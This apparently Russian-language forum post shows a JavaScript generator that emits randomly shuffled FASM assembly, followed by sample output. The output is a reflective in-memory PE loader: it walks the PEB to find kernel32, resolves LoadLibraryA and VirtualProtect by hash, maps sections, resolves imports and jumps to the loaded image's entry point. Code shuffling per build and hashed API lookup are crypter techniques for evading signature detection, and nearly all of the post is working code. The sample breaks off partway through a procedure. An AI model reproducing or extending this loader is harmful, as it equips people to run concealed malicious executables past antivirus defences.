    var loadSection = 'proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD \n\n\
        pushad \n'+_.shuffle(['    mov     edx, [pSectionHeader]', '    mov     esi, [pFileImageBase]']).join('\n')+ '\n' +
        _.shuffle(['    add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]', 
        '    mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]\n    add     edi, [image_base]',
        '    mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]', '    cld']).join('\n')+'\n'+'\
        rep     movsb\n\
        popad\n\
        ret\n\
    endp\n';
    
    function fSetSection (e, r, v){
        var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
        v.add('.section_flags'); v.add('iResult'); v.add('.vprotect_ret');
        e.cmd('load_c32$m32', [0, 'iResult']);
        e.cmd('load_m32$r32', ['pSectionHeader', r1.i]);
        e.emit(";section execute/read/write?\n");
        e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i,]);
        e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
        cmp     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE\n\
        jne     .no_execute_read_write\n");
        e.cmd('load_c32$m32', ['PAGE_EXECUTE_READWRITE', '.section_flags']);
        e.emit('    jmp     .set_memory\n.no_execute_read_write:\n');
        r2.o.unlock(); 
        r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
        e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
        cmp     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
        jne     .no_execute_read\n");
        e.cmd('load_c32$m32', ['PAGE_EXECUTE_READ', '.section_flags']);
        e.emit('    jmp     .set_memory\n.no_execute_read:\n');
        r2.o.unlock(); 
        r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
        e.emit("    and     "+r2.s+", IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ\n\
        cmp     "+r2.s+", IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ\n\
        jne    .no_read_write\n");
        e.cmd('load_c32$m32', ['PAGE_READWRITE', '.section_flags']);
        e.emit(['jmp','.set_memory\n.no_read_write:']);
        r2.o.unlock(); 
        e.cmd("load_m32$r32", [r1.s+"+IMAGE_SECTION_HEADER.Characteristics", r2.i ]);
        e.emit(['and', r2.s , 'IMAGE_SCN_MEM_READ', ';', 'cmp', r2.s, 'IMAGE_SCN_MEM_READ', ";", 'jne', '.no_read']);  
        e.cmd("load_c32$m32", ["PAGE_READONLY", ".section_flags"]);
        e.emit(["jmp", ".set_memory\n.no_read:"]);
        e.cmd('load_c32$m32', ['PAGE_NOACCESS', '.section_flags']);
        r2.o.unlock();
        rSectionHeader =  e.getFreeReg(p.LOCK_REG);
        rpAPITable = e.getFreeReg(p.LOCK_REG);
        raddr = e.getFreeReg(p.LOCK_REG);
        rvprotect = e.getFreeReg(p.LOCK_REG);
        e.emit('.set_memory:\n');
        e.cmd('load_m32$r32', ['pSectionHeader', rSectionHeader.i]);
        e.cmd('load_r32$m32', [raddr.i, rSectionHeader.s + ' + IMAGE_SECTION_HEADER.VirtualAddress']);
        e.emit(['add', raddr.s, 'DWORD [pImageBase]']);
        e.cmd('load_m32$r32', ['pAPITable', rpAPITable.i]);
        e.emit(['lea', rvprotect.s, '[.vprotect_ret]', ';', 'stdcall',  'DWord ['+rpAPITable.s+' + stAPITable.pVirtualProtect_kernel32], '+raddr.s+',\
     ['+rSectionHeader.s+' + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], '+rvprotect.s] );
        e.cmd('checkz_r32', [p.REG_EAX]);
        e.emit(['jz', '.Exit']);
        e.cmd('inc_m32', ['iResult'])
        e.emit('.Exit:\n');
        e.setUseForResult('iResult');
    };
    
    var setPermissions = 'proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
     local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD\n\n\
        pushad\n\
        xor         eax, eax\n\
        mov         [.retval], eax\n\
        mov         edx, [pImageFileHeader]\n\
        movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
        mov         [.number_of_sections], eax\n\
        add         edx, sizeof.IMAGE_FILE_HEADER\n\
        mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]\n\
        mov         [.image_base], eax\n\
        lea         ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]\n\
        mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]\n\
        mov         edx, sizeof.IMAGE_DATA_DIRECTORY\n\
        mul         edx\n\
        add         eax, ebx\n\
        mov         [.section_headers], eax\n\
        mov         eax, sizeof.IMAGE_SECTION_HEADER\n\
        mov         edx, [.number_of_sections]\n\
        mul         edx\n\
        add         eax, [.section_headers]\n\
        mov         ebx, [pFileImageBase]\n\
        sub         eax, ebx\n\
        mov         [.pe_header_size], eax\n\
        mov         edx, [APITable]\n\
        lea         eax, [.vprotect_ret]\n\
        stdcall     dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax\n\
        test        eax, eax\n\
        jz          .exit\n\
        mov         ecx, [.number_of_sections]\n\
        mov         ebx, [.section_headers]\n\
    .load_section_loop:\n\
        stdcall     setSection, [APITable], ebx, [.image_base], [pFileImageBase]\n\
        test        eax, eax\n\
        jz          .exit\n\
        add         ebx, sizeof.IMAGE_SECTION_HEADER\n\
        loop        .load_section_loop\n\
        inc         [.retval]\n\
    .exit:\n\
        popad\n\
        mov         eax, [.retval]\n\
        ret\n\
    endp';
    
    var loadFile = 'proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD\n\n\
    local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD\n\n\
        pushad\n\
        xor         eax, eax\n\
        mov         [.retval], eax\n\
        mov         edx, [pImageFileHeader]\n\
        movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]\n\
        mov         [.iSectNum], eax \n\
        mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]\n\
        mov         [.pImageBase], eax\n\
        lea         eax, [edx+sizeof.IMAGE_FILE_HEADER]\n\
        mov         [.pImageOptionalHeader], eax\n\
        mov         eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]\n\
        lea         edx, [.dwProtectBuff]\n\
        mov         ebx, [pAPITable]\n\
        stdcall     DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx\n\
        test        eax, eax\n\
        jz          .Exit\n\
        mov         edx, [.pImageOptionalHeader] \n'+
    _.shuffle(['    lea         ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]',
     '    mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]']).join('\n')+'\n'+'\
        mov         edx, sizeof.IMAGE_DATA_DIRECTORY\n\
        mul         edx\n\
        add         eax, ebx\n\
        mov         [.pSectionHeaders], eax\n\
        mov         eax, sizeof.IMAGE_SECTION_HEADER\n\
        mov         edx, [.iSectNum]\n\
        mul         edx\n'+
    _.shuffle(['    add         eax, [.pSectionHeaders]', '    mov         ebx, [pFileImageBase]']).join('\n')+'\n'+'\
        sub         eax, ebx\n\
        mov         [.iPEHeaderSize], eax\n\
        mov         edi, [.pImageBase]\n\
        mov         esi, [pFileImageBase]\n\
        mov         ecx, [.iPEHeaderSize]\n\
        rep         movsb\n\
        mov         ecx, [.iSectNum]\n\
        mov         ebx, [.pSectionHeaders]\n\
    .load_section_loop:\n\
        stdcall     loadSection, ebx, [.pImageBase], [pFileImageBase]\n\
        test        eax, eax\n\
        jz          .Exit\n\
        add         ebx, sizeof.IMAGE_SECTION_HEADER\n\
        dec         ecx\n\
        jnz         .load_section_loop\n\
        inc         [.retval]\n\
    .Exit:\n\
        popad\n\
        mov         eax, [.retval]\n\
        ret\n\
    endp \n';
    
    var loadImportTable = 'proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD\n\n\
    local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD\n\n\
        pushad\n\
        xor         eax, eax\n\
        inc         eax\n\
        mov         [.retval], eax\n\
        mov         edx, [image_base]\n\
        mov         eax, [edx + IMAGE_DOS_HEADER.e_lfanew]\n\
        lea         eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]\n\
        mov         eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]\n\
        add         eax, edx\n\
        mov         [.import_table],eax\n\
        lea         edi, [.null_directory_entry]\n\
        mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
        mov         al, 0h\n\
        rep         stosb\n\
        mov         ebx, [.import_table]\n\
    .next_directory_entry:\n\
        lea         esi, [.null_directory_entry]\n\
        mov         edi, ebx\n\
        mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
        rep         cmpsb\n\
        je          .exit_success\n\
        stdcall     loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx\n\
        test        eax, eax\n\
        jz          .exit_error\n\
        add         ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR\n\
        jmp         .next_directory_entry\n\
    .exit_success:\n\
        inc         [.retval]\n\
    .exit_error:\n\
        popad\n\
        mov         eax, [.retval]\n\
        ret\n\
    endp\n';
    
    loadImportDirectoryTable = 'proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD\n\n\
      local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD\n\
        pushad\n\
        mov     eax, [directory_entry]\n\
        mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]\n\
        add     eax, [image_base]\n\
        ;load the corresponding dll\n\
        mov     ebx, [APITable]\n\
        stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax\n\
        test    eax,eax\n\
        jz      .exit_error\n\
        mov     [.dll_image_base],eax\n\
        mov     edx, [directory_entry]\n\
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]\n\
        add     eax, [image_base]\n\
        mov     [.lookup_table], eax\n\
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]\n\
        add     eax, [image_base]\n\
        mov     [.import_address_table],eax\n\
        xor     ecx, ecx\n\n\
    .next_lookup_entry:\n\
        mov     eax, [.lookup_table]\n\
        add     eax, ecx\n\
        mov     eax, [eax]\n\
        test    eax,eax\n\
        jz      .exit_success\n\
        mov     ebx, eax\n\
        and     eax, IMAGE_ORDINAL_FLAG32\n\
        jnz     .exit_error\n\
    .byname:\n\
        add     ebx, [image_base]\n\
        lea     ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]\n\
        mov     eax, ebx\n\
        push    ecx\n\
        stdcall GetHashSz, ebx\n\
        stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax\n\
        pop     ecx\n\
        test    eax, eax\n\
        jz      .exit_error\n\
        mov     ebx, [.import_address_table]\n\
        add     ebx, ecx\n\
        mov     [ebx], eax\n\
        add     ecx, 4\n\
        jmp     .next_lookup_entry\n\
    .exit_success:\n\
        popad\n\
        xor eax,eax\n\
        inc eax\n\
        ret\n\
    .exit_error:\n\
        popad\n\
        xor eax, eax\n\
        ret\n\
    endp\n';
    
    function fVerifyPE(e, r, v) {
        var r1 = e.getFreeReg(p.LOCK_REG), r2 = e.getFreeReg(p.LOCK_REG);
        e.cmd('load_m32$r32', ['pImagePE', r1.i]);
        e.cmd('check_c16$m16', [0x5A4D, r1.s]) 
        e.emit(['jnz', '.Exit']);
        e.cmd('load_m32$r32', [r1.s+'+IMAGE_DOS_HEADER.e_lfanew', r2.i]);
        e.cmd('add_r32$r32', [r2.i, r1.i]);
        r2.o.unlock();
        e.cmd('check_c32$m32', [0x4550, r1.s]);
        e.emit(['jne', '.Exit']);
        e.cmd('add_c32$r32', [0x4, r1.i]);
        e.emit('.Exit:\n');
        e.setUseForResult(r1.i);
    };
    
    function fLoadPE(e, r, v, prm){
        headerz = tc.followApiTable(e, prm.ta);
        v.add('pImageBase'); v.add('pFileHeader'); v.add('pAPITable');
        eval(_.shuffle([" e.cmd('load_c32$m32', [prm.imagebase, 'pImageBase']);", 
        "var rx = e.getFreeReg(p.LOCK_REG); e.emit(['lea', rx.s, '[APITable]']);\
        e.cmd('load_r32$m32', [rx.i, 'pAPITable']); rx.o.unlock();"]).join('\n'));
        e.emit(['stdcall', 'verifyPE', '[pPEImage]']);
        e.cmd('checkz_r32', [p.REG_EAX]);  
        e.emit(['jz', '.End']);
        e.cmd('load_r32$m32', [p.REG_EAX, 'pFileHeader']);
        e.emit(['stdcall', 'loadFile', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
        e.cmd('checkz_r32', [p.REG_EAX]);  
        e.emit(['jz', '.End']);
        e.emit(['stdcall', 'loadImportTable', '[pAPITable]', '[pGetHashSz]', '[pImageBase]']);
        e.cmd('checkz_r32', [p.REG_EAX]);  
        e.emit(['jz', '.End']);
        e.emit(['stdcall', 'setPermissions', '[pAPITable]', '[pFileHeader]', '[pPEImage]']);
        e.emit(['mov', 'esi', '[pFileHeader]', ';', 'mov', 'eax', '[esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]']);
        e.emit(['add', 'eax', '[pImageBase]']);
        e.emit(['jmp', 'eax']);
        e.emit('.End:\n');
    };
    
    var oVerifyPE = tc.CodeSnippet('verifyPE', 'stdcall', ['pImagePE'], fVerifyPE); 
    var oMainFnc = tc.CodeSnippet('loadPE_main', 'stdcall', ['pPEImage', 'pMyAddr'], fLoadPE, {ta:tableApi, imagebase: 0x400000});
    var oSetSection = tc.CodeSnippet('setSection', 'stdcall', ['pAPITable', 'pSectionHeader', 'pImageBase', 'pFileImageBase'], fSetSection);
    //console.log(oMainFnc.code);
    
    var code = headerz + _.shuffle([oMainFnc.code, oVerifyPE.code, loadSection, loadFile, setPermissions, oSetSection.code, procz[0].code,
        procz[1].code, procz[2].code, procz[3].code, loadImportTable, loadImportDirectoryTable]).join('\n');
    var xcode = "use32\n\nformat binary\n\ninclude '%FASM%\\INCLUDE\\win32a.inc'\ninclude 'pe.inc'\n\nstart:\n\njmp loadPE_main\n\n"+code;
    fs.writeFileSync('libloadpe.asm', xcode);
    
    Пример получаемого кода
    Код:
    use32
    
    format binary
    
    include '%FASM%\INCLUDE\win32a.inc'
    include 'pe.inc'
    
    start:
    
    jmp loadPE_main
    
    struct stAPITable
     pVirtualProtect_kernel32                dd ?
     pLoadLibraryA_kernel32                  dd ?
    ends
    
    proc    AltGetProcAddressByHash hLib, fHashProc, iHashVal
      local   iResult:DWORD
        pusha
        mov     ecx, DWord [hLib]
        mov     DWord [iResult], DWORD 0x0
        cmp     Word [ecx], WORD 0x5a4d
        jne     .End
        movzx   edi, Word [ecx+0x3c]
        lea     edi, [ecx+edi]
        cmp     DWord [edi], DWORD 0x4550
        jne     .End
        mov     eax, DWord [edi+0x78]
        lea     eax, [ecx+eax]
        mov     ebx, DWord [eax+0x18]
        push    eax
        xor     esi, esi
        push    DWord [eax+0x20]
        pop     edx
        lea     edx, [ecx+edx]
    .MainLoop:
        mov     eax, DWord [edx]
        lea     eax, [ecx+eax]
        push    eax
        stdcall [fHashProc], eax
        cmp     eax, DWord [iHashVal]
        pop     eax
        jz      .FoundProcname
        sub     esi, -1
        lea     edx, [edx+0x4]
        sub     ebx, 0x1
        or      ebx, ebx
        jnz     .MainLoop
        pop     edi
        jmp     .End
    .FoundProcname:
        pop     edx
        shl     esi, 1
        add     esi, DWord [edx+0x24]
        movzx   eax, Word [esi+ecx]
        lea     eax, [eax*4+ecx]
        add     eax, DWord [edx+0x1C]
        mov     edx, DWord [eax]
        lea     edx, [ecx+edx]
        push    edx
        pop     DWord [iResult]
    .End:
        popa
        mov     eax, DWord [iResult]
        ret
    endp
    
    proc  loadFile pAPITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
    
    local .iSectNum:DWORD, .pImageBase:DWORD, .pImageOptionalHeader:DWORD, .retval:DWORD, .dwProtectBuff:DWORD, .pSectionHeaders:DWORD, .iPEHeaderSize:DWORD
    
        pushad
        xor         eax, eax
        mov         [.retval], eax
        mov         edx, [pImageFileHeader]
        movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov         [.iSectNum], eax 
        mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.ImageBase+sizeof.IMAGE_FILE_HEADER]
        mov         [.pImageBase], eax
        lea         eax, [edx+sizeof.IMAGE_FILE_HEADER]
        mov         [.pImageOptionalHeader], eax
        mov         eax, [eax + IMAGE_OPTIONAL_HEADER32.SizeOfImage]
        lea         edx, [.dwProtectBuff]
        mov         ebx, [pAPITable]
        stdcall     DWord [ebx+stAPITable.pVirtualProtect_kernel32], [.pImageBase], eax, PAGE_READWRITE, edx
        test        eax, eax
        jz          .Exit
        mov         edx, [.pImageOptionalHeader] 
        lea         ebx, [edx + IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov         eax, [edx + IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov         edx, sizeof.IMAGE_DATA_DIRECTORY
        mul         edx
        add         eax, ebx
        mov         [.pSectionHeaders], eax
        mov         eax, sizeof.IMAGE_SECTION_HEADER
        mov         edx, [.iSectNum]
        mul         edx
        add         eax, [.pSectionHeaders]
        mov         ebx, [pFileImageBase]
        sub         eax, ebx
        mov         [.iPEHeaderSize], eax
        mov         edi, [.pImageBase]
        mov         esi, [pFileImageBase]
        mov         ecx, [.iPEHeaderSize]
        rep         movsb
        mov         ecx, [.iSectNum]
        mov         ebx, [.pSectionHeaders]
    .load_section_loop:
        stdcall     loadSection, ebx, [.pImageBase], [pFileImageBase]
        test        eax, eax
        jz          .Exit
        add         ebx, sizeof.IMAGE_SECTION_HEADER
        dec         ecx
        jnz         .load_section_loop
        inc         [.retval]
    .Exit:
        popad
        mov         eax, [.retval]
        ret
    endp 
    
    proc loadImportDirectoryTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD, directory_entry:DWORD
    
      local .lookup_table:DWORD, .import_address_table:DWORD, .dll_image_base:DWORD
        pushad
        mov     eax, [directory_entry]
        mov     eax, [eax+IMAGE_IMPORT_DESCRIPTOR.Name_]
        add     eax, [image_base]
        ;load the corresponding dll
        mov     ebx, [APITable]
        stdcall DWord [ebx+stAPITable.pLoadLibraryA_kernel32], eax
        test    eax,eax
        jz      .exit_error
        mov     [.dll_image_base],eax
        mov     edx, [directory_entry]
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk]
        add     eax, [image_base]
        mov     [.lookup_table], eax
        mov     eax, [edx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk]
        add     eax, [image_base]
        mov     [.import_address_table],eax
        xor     ecx, ecx
    
    .next_lookup_entry:
        mov     eax, [.lookup_table]
        add     eax, ecx
        mov     eax, [eax]
        test    eax,eax
        jz      .exit_success
        mov     ebx, eax
        and     eax, IMAGE_ORDINAL_FLAG32
        jnz     .exit_error
    .byname:
        add     ebx, [image_base]
        lea     ebx, [ebx+IMAGE_IMPORT_BY_NAME.Name_]
        mov     eax, ebx
        push    ecx
        stdcall GetHashSz, ebx
        stdcall AltGetProcAddressByHash, [.dll_image_base], [pHashProc], eax
        pop     ecx
        test    eax, eax
        jz      .exit_error
        mov     ebx, [.import_address_table]
        add     ebx, ecx
        mov     [ebx], eax
        add     ecx, 4
        jmp     .next_lookup_entry
    .exit_success:
        popad
        xor eax,eax
        inc eax
        ret
    .exit_error:
        popad
        xor eax, eax
        ret
    endp
    
    proc    verifyPE pImagePE
        push    esi
        push    DWord [pImagePE]
        pop     eax
        cmp     Word [eax], WORD 0x5a4d
        jnz     .Exit
        push    DWord [eax+IMAGE_DOS_HEADER.e_lfanew]
        pop     esi
        lea     eax, [esi+eax]
        cmp     DWord [eax], DWORD 0x4550
        jne     .Exit
        lea     eax, [eax+0x4]
    .Exit:
        pop     esi
        ret
    endp
    
    proc setPermissions APITable:DWORD, pImageFileHeader:DWORD, pFileImageBase:DWORD
    
     local .number_of_sections:DWORD, .image_base:DWORD, .section_headers:DWORD, .pe_header_size:DWORD, .vprotect_ret:DWORD, .retval:DWORD
    
        pushad
        xor         eax, eax
        mov         [.retval], eax
        mov         edx, [pImageFileHeader]
        movzx       eax, Word [edx+IMAGE_FILE_HEADER.NumberOfSections]
        mov         [.number_of_sections], eax
        add         edx, sizeof.IMAGE_FILE_HEADER
        mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.ImageBase]
        mov         [.image_base], eax
        lea         ebx, [edx+IMAGE_OPTIONAL_HEADER32.DataDirectory]
        mov         eax, [edx+IMAGE_OPTIONAL_HEADER32.NumberOfRvaAndSizes]
        mov         edx, sizeof.IMAGE_DATA_DIRECTORY
        mul         edx
        add         eax, ebx
        mov         [.section_headers], eax
        mov         eax, sizeof.IMAGE_SECTION_HEADER
        mov         edx, [.number_of_sections]
        mul         edx
        add         eax, [.section_headers]
        mov         ebx, [pFileImageBase]
        sub         eax, ebx
        mov         [.pe_header_size], eax
        mov         edx, [APITable]
        lea         eax, [.vprotect_ret]
        stdcall     dword [edx+stAPITable.pVirtualProtect_kernel32], [.image_base], [.pe_header_size], PAGE_READONLY, eax
        test        eax, eax
        jz          .exit
        mov         ecx, [.number_of_sections]
        mov         ebx, [.section_headers]
    .load_section_loop:
        stdcall     setSection, [APITable], ebx, [.image_base], [pFileImageBase]
        test        eax, eax
        jz          .exit
        add         ebx, sizeof.IMAGE_SECTION_HEADER
        loop        .load_section_loop
        inc         [.retval]
    .exit:
        popad
        mov         eax, [.retval]
        ret
    endp
    proc    setSection pAPITable, pSectionHeader, pImageBase, pFileImageBase
      local   .section_flags:DWORD
      local   iResult:DWORD
      local   .vprotect_ret:DWORD
        push    edi
        push    esi
        push    edx
        push    ecx
        push    eax
        mov     DWord [iResult], DWORD 0x0
        push    DWord [pSectionHeader]
        pop     edi
    ;section execute/read/write?
        push    DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
        pop     edx
        and     edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        cmp     edx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
        jne     .no_execute_read_write
        push    PAGE_EXECUTE_READWRITE
        pop     DWord [.section_flags]
        jmp     .set_memory
    .no_execute_read_write:
        mov     esi, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
        and     esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        cmp     esi, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        jne     .no_execute_read
        push    PAGE_EXECUTE_READ
        pop     DWord [.section_flags]
        jmp     .set_memory
    .no_execute_read:
        mov     ecx, DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
        and     ecx, IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ
        cmp     ecx, IMAGE_SCN_MEM_WRITE or IMAGE_SCN_MEM_READ
        jne    .no_read_write
        push    PAGE_READWRITE
        pop     DWord [.section_flags]
        jmp     .set_memory
    .no_read_write:
        push    DWord [edi+IMAGE_SECTION_HEADER.Characteristics]
        pop     ecx
        and     ecx, IMAGE_SCN_MEM_READ
        cmp     ecx, IMAGE_SCN_MEM_READ
        jne     .no_read
        push    PAGE_READONLY
        pop     DWord [.section_flags]
        jmp     .set_memory
    .no_read:
        mov     DWord [.section_flags], PAGE_NOACCESS
    .set_memory:
        mov     ecx, DWord [pSectionHeader]
        mov     DWord [ecx + IMAGE_SECTION_HEADER.VirtualAddress], eax
        add     eax, DWORD [pImageBase]
        mov     edx, DWord [pAPITable]
        lea     esi, [.vprotect_ret]
        stdcall DWord [edx + stAPITable.pVirtualProtect_kernel32], eax, [ecx + IMAGE_SECTION_HEADER.VirtualSize], [.section_flags], esi
        or      eax, eax
        jz      .Exit
        sub     DWord [iResult], -1
    .Exit:
        pop     eax
        pop     ecx
        pop     edx
        pop     esi
        pop     edi
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc    GetK32 
      local   iResult:DWORD
        push    esi
        push    ecx
        push    ebx
        push    eax
        mov     eax, DWord [fs:0x30]
        push    DWord [eax+0xC]
        pop     ebx
        push    DWord [ebx+0x1C]
        pop     esi
    .NextModule:
        push    DWord [esi+0x8]
        pop     DWord [iResult]
        mov     eax, DWord [esi+0x20]
        push    DWord [esi]
        pop     esi
        movzx   ecx, Byte [eax+0x18]
        test    ecx, ecx
        jne     .NextModule
        movzx   ecx, Byte [eax]
        cmp     ecx, 0x6b
        je      .Found_K32
        cmp     ecx, 0x4b
        jne     .NextModule
    .Found_K32:
        pop     eax
        pop     ebx
        pop     ecx
        pop     esi
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc    GetHashSz strz
        push    esi
        push    edx
        push    DWord [strz]
        pop     esi
        push    DWORD 0x0
        pop     edx
        push    edx
    .CalcHash:
        ror     edx, 7
        xor     [esp], edx
        mov     dl, Byte [esi]
        sub     esi, -1
        or      dl, dl
        jnz     .CalcHash
        pop     eax
        pop     edx
        pop     esi
        ret
    endp
    
    proc loadImportTable APITable:DWORD, pHashProc:DWORD, image_base:DWORD
    
    local .import_table:DWORD, .null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE, .retval:DWORD
    
        pushad
        xor         eax, eax
        inc         eax
        mov         [.retval], eax
        mov         edx, [image_base]
        mov         eax, [edx + IMAGE_DOS_HEADER.e_lfanew]
        lea         eax, [edx + eax + 4 + sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.DataDirectory+sizeof.IMAGE_DATA_DIRECTORY]
        mov         eax, [eax+IMAGE_DATA_DIRECTORY.VirtualAddress]
        add         eax, edx
        mov         [.import_table],eax
        lea         edi, [.null_directory_entry]
        mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        mov         al, 0h
        rep         stosb
        mov         ebx, [.import_table]
    .next_directory_entry:
        lea         esi, [.null_directory_entry]
        mov         edi, ebx
        mov         ecx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        rep         cmpsb
        je          .exit_success
        stdcall     loadImportDirectoryTable, [APITable], [pHashProc], [image_base], ebx
        test        eax, eax
        jz          .exit_error
        add         ebx, sizeof.IMAGE_IMPORT_DESCRIPTOR
        jmp         .next_directory_entry
    .exit_success:
        inc         [.retval]
    .exit_error:
        popad
        mov         eax, [.retval]
        ret
    endp
    
    proc loadSection pSectionHeader:DWORD, image_base:DWORD, pFileImageBase:DWORD 
    
        pushad 
        mov     esi, [pFileImageBase]
        mov     edx, [pSectionHeader]
        mov     ecx, [edx+IMAGE_SECTION_HEADER.SizeOfRawData]
        mov     edi, [edx+IMAGE_SECTION_HEADER.VirtualAddress]
        add     edi, [image_base]
        add     esi, [edx+IMAGE_SECTION_HEADER.PointerToRawData]
        cld
        rep     movsb
        popad
        ret
    endp
    
    proc    loadPE_main pPEImage, pMyAddr
      local   APITable:QWORD
      local   pFileHeader:DWORD
      local   hkernel32:DWORD
      local   iResult:DWORD
      local   pImageBase:DWORD
      local   pAPITable:DWORD
      local   pGetHashSz:DWORD
        push    esi
        mov     ebx, DWord [pMyAddr]
        lea     ebx, [ebx+GetHashSz]
        push    ebx
        pop     DWord [pGetHashSz]
        call    GetK32
        mov     DWord [hkernel32], eax
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x71e40722
        push    eax
        pop     DWord [APITable+stAPITable.pLoadLibraryA_kernel32]
        stdcall AltGetProcAddressByHash, [hkernel32], ebx, 0x15f8ef80
        mov     DWord [APITable+stAPITable.pVirtualProtect_kernel32], eax
        lea     esi, [APITable]
        mov     DWord [pAPITable], esi
        mov     DWord [pImageBase], DWORD 0x400000
        stdcall verifyPE, [pPEImage]
        test    eax, eax
        jz      .End
        mov     DWord [pFileHeader], eax
        stdcall loadFile, [pAPITable], [pFileHeader], [pPEImage]
        test    eax, eax
        jz      .End
        stdcall loadImportTable, [pAPITable], [pGetHashSz], [pImageBase]
        test    eax, eax
        jz      .End
        stdcall setPermissions, [pAPITable], [pFileHeader], [pPEImage]
        mov     esi, [pFileHeader]
        mov     eax, [esi+sizeof.IMAGE_FILE_HEADER+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint]
        add     eax, [pImageBase]
        jmp     eax
    .End:
        pop     esi
        push    DWord [iResult]
        pop     eax
        ret
    endp
    
    proc    GetNtdll 
      local   iResult:DWORD
        pusha
        push    DWord [fs:0x30]
        pop     edx
        push    DWord [edx+0xC]
        pop     ebx
        push    DWord [ebx+0x1C]
